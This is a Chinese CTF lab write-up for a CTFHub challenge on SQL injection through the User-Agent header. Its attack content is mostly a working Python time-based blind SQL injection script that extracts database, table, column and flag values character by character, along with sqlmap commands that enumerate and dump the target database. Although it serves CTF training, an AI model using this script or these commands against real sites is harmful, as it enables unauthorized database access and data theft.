ctfhub技能樹—sql注入—UA注入

手注

打開靶機

查看頁面信息

抓取數據包

根據提示注入點在User-Agent文件頭中

開始嘗試注入

成功查到數據庫名

查詢數據表名

查詢字段名

查詢字段信息

成功拿到flag

盲注

測試是否存在時間盲注

測試成功，開始盲注

查詢數據庫名

查詢數據表名

查詢字段名

查詢字段信息

成功拿到flag

附上腳本

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import requests
import sys
import time

session=requests.session()
url = "http://challenge-b9c5b7da113041c6.sandbox.ctfhub.com:10080/"
name = ""

# for i in range(1,20):
#     print(i)
#     for j in range(31,128):
#         j = (128+31) -j
#         str_ascii=chr(j)
#         #數據庫名
#         #payolad = "if(substr(database(),%s,1) = '%s',sleep(1),1)"%(str(i),str(str_ascii))
#         #表名
#         #payolad = "if(substr((select group_concat(table_name) from information_schema.tables where table_schema='sqli'),%d,1) = '%s',sleep(1),1)" %(i,str(str_ascii))
#         #字段名
#         payolad = "if(substr((select group_concat(column_name) from information_schema.columns where table_name='rkhbzrszjl' and table_schema='sqli'),%d,1) = '%s',sleep(1),1)" %(i,str(str_ascii))
#         headers = {'User-Agent': payolad}
#         start_time=time.time()
#         str_get = session.get(url,headers=headers)
#         end_time = time.time()
#         t = end_time - start_time
#         if t > 1:
#             if str_ascii == " ":
#                 sys.exit()
#             else:
#                 name+=str_ascii
#                 break
#     print(name)

#查詢字段內容
for i in range(1,50):
    print(i)
    for j in range(31,128):
        j = (128+31) -j
        str_ascii=chr(j)
        payolad = "if(substr((select kdulqytdrv from sqli.rkhbzrszjl),%d,1) = '%s',sleep(1),1)" %(i,str_ascii)
        headers = {'User-Agent': payolad}
        start_time=time.time()
        str_get = session.get(url,headers=headers)
        end_time = time.time()
        t = end_time - start_time
        if t > 1:
            if str_ascii == "+":
                sys.exit()
            else:
                name += str_ascii
                break
    print(name)

sqlmap

查詢數據庫名

python2 sqlmap.py -u http://challenge-b9c5b7da113041c6.sandbox.ctfhub.com:10080/ --level 3 --dbs

查詢數據表名

python2 sqlmap.py -u http://challenge-b9c5b7da113041c6.sandbox.ctfhub.com:10080/ --level 3 -D sqli --tables

查詢字段名

python2 sqlmap.py -u http://challenge-b9c5b7da113041c6.sandbox.ctfhub.com:10080/ --level 3 -D sqli -T rkhbzrszjl --columns

查詢字段信息

python2 sqlmap.py -u http://challenge-b9c5b7da113041c6.sandbox.ctfhub.com:10080/ --level 3 -D sqli -T rkhbzrszjl -C kdulqytdrv --dump

成功拿到flag